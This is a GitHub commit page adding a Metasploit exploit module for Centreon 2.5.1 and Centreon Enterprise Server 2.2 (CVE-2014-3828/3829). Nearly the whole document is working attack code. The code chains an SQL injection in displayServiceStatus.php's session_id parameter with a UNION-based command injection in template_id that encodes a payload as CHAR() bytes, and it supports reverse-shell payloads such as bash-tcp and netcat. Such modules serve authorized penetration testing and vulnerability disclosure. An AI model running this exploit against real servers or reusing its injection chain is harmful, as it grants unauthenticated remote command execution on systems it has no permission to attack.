Skip to content

Commit 13fd6a3

Browse files
committed
Land rapid7#4046 - Centreon SQL and Command Injection
2 parents 7533370 + ce841e5 commit 13fd6a3

File tree

1 file changed

+139
-0
lines changed

1 file changed

+139
-0
lines changed
Lines changed: 139 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,139 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Centreon SQL and Command Injection',
16+
'Description' => %q{
17+
This module exploits several vulnerabilities on Centreon 2.5.1 and prior and Centreon
18+
Enterprise Server 2.2 and prior. Due to a combination of SQL injection and command
19+
injection in the displayServiceStatus.php component, it is possible to execute arbitrary
20+
commands as long as there is a valid session registered in the centreon.session table.
21+
In order to have a valid session, all it takes is a successful login from anybody.
22+
The exploit itself does not require any authentication.
23+
24+
This module has been tested successfully on Centreon Enterprise Server 2.2.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' =>
28+
[
29+
'MaZ', # Vulnerability Discovery and Analysis
30+
'juan vazquez' # Metasploit Module
31+
],
32+
'References' =>
33+
[
34+
['CVE', '2014-3828'],
35+
['CVE', '2014-3829'],
36+
['US-CERT-VU', '298796'],
37+
['URL', 'http://seclists.org/fulldisclosure/2014/Oct/78']
38+
],
39+
'Arch' => ARCH_CMD,
40+
'Platform' => 'unix',
41+
'Payload' =>
42+
{
43+
'Space' => 1500, # having into account 8192 as max URI length
44+
'DisableNops' => true,
45+
'Compat' =>
46+
{
47+
'PayloadType' => 'cmd cmd_bash',
48+
'RequiredCmd' => 'generic python gawk bash-tcp netcat ruby openssl'
49+
}
50+
},
51+
'Targets' =>
52+
[
53+
['Centreon Enterprise Server 2.2', {}]
54+
],
55+
'Privileged' => false,
56+
'DisclosureDate' => 'Oct 15 2014',
57+
'DefaultTarget' => 0))
58+
59+
register_options(
60+
[
61+
OptString.new('TARGETURI', [true, 'The URI of the Centreon Application', '/centreon'])
62+
], self.class)
63+
end
64+
65+
def check
66+
random_id = rand_text_numeric(5 + rand(8))
67+
res = send_session_id(random_id)
68+
69+
unless res && res.code == 200 && res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'
70+
return Exploit::CheckCode::Safe
71+
end
72+
73+
injection = "#{random_id}' or 'a'='a"
74+
res = send_session_id(injection)
75+
76+
if res && res.code == 200
77+
if res.body && res.body.to_s =~ /sh: graph: command not found/
78+
return Exploit::CheckCode::Vulnerable
79+
elsif res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'
80+
return Exploit::CheckCode::Detected
81+
end
82+
end
83+
84+
Exploit::CheckCode::Safe
85+
end
86+
87+
def exploit
88+
if check == Exploit::CheckCode::Safe
89+
fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited")
90+
elsif check == Exploit::CheckCode::Detected
91+
fail_with(Failure::Unknown, "#{peer} - The SQLi cannot be exploited. Possibly because there's nothing in the centreon.session table. Perhaps try again later?")
92+
end
93+
94+
print_status("#{peer} - Exploiting...")
95+
random_id = rand_text_numeric(5 + rand(8))
96+
random_char = rand_text_alphanumeric(1)
97+
session_injection = "#{random_id}' or '#{random_char}'='#{random_char}"
98+
template_injection = "' UNION ALL SELECT 1,2,3,4,5,CHAR(59,#{mysql_payload}59),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 -- /**"
99+
res = send_template_id(session_injection, template_injection)
100+
101+
if res && res.body && res.body.to_s =~ /sh: --imgformat: command not found/
102+
vprint_status("Output: #{res.body}")
103+
end
104+
end
105+
106+
def send_session_id(session_id)
107+
res = send_request_cgi(
108+
'method' => 'GET',
109+
'uri' => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'),
110+
'vars_get' =>
111+
{
112+
'session_id' => session_id
113+
}
114+
)
115+
116+
res
117+
end
118+
119+
def send_template_id(session_id, template_id)
120+
res = send_request_cgi({
121+
'method' => 'GET',
122+
'uri' => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'),
123+
'vars_get' =>
124+
{
125+
'session_id' => session_id,
126+
'template_id' => template_id
127+
}
128+
}, 3)
129+
130+
res
131+
end
132+
133+
def mysql_payload
134+
p = ''
135+
payload.encoded.each_byte { |c| p << "#{c},"}
136+
p
137+
end
138+
139+
end

0 commit comments

Comments
 (0)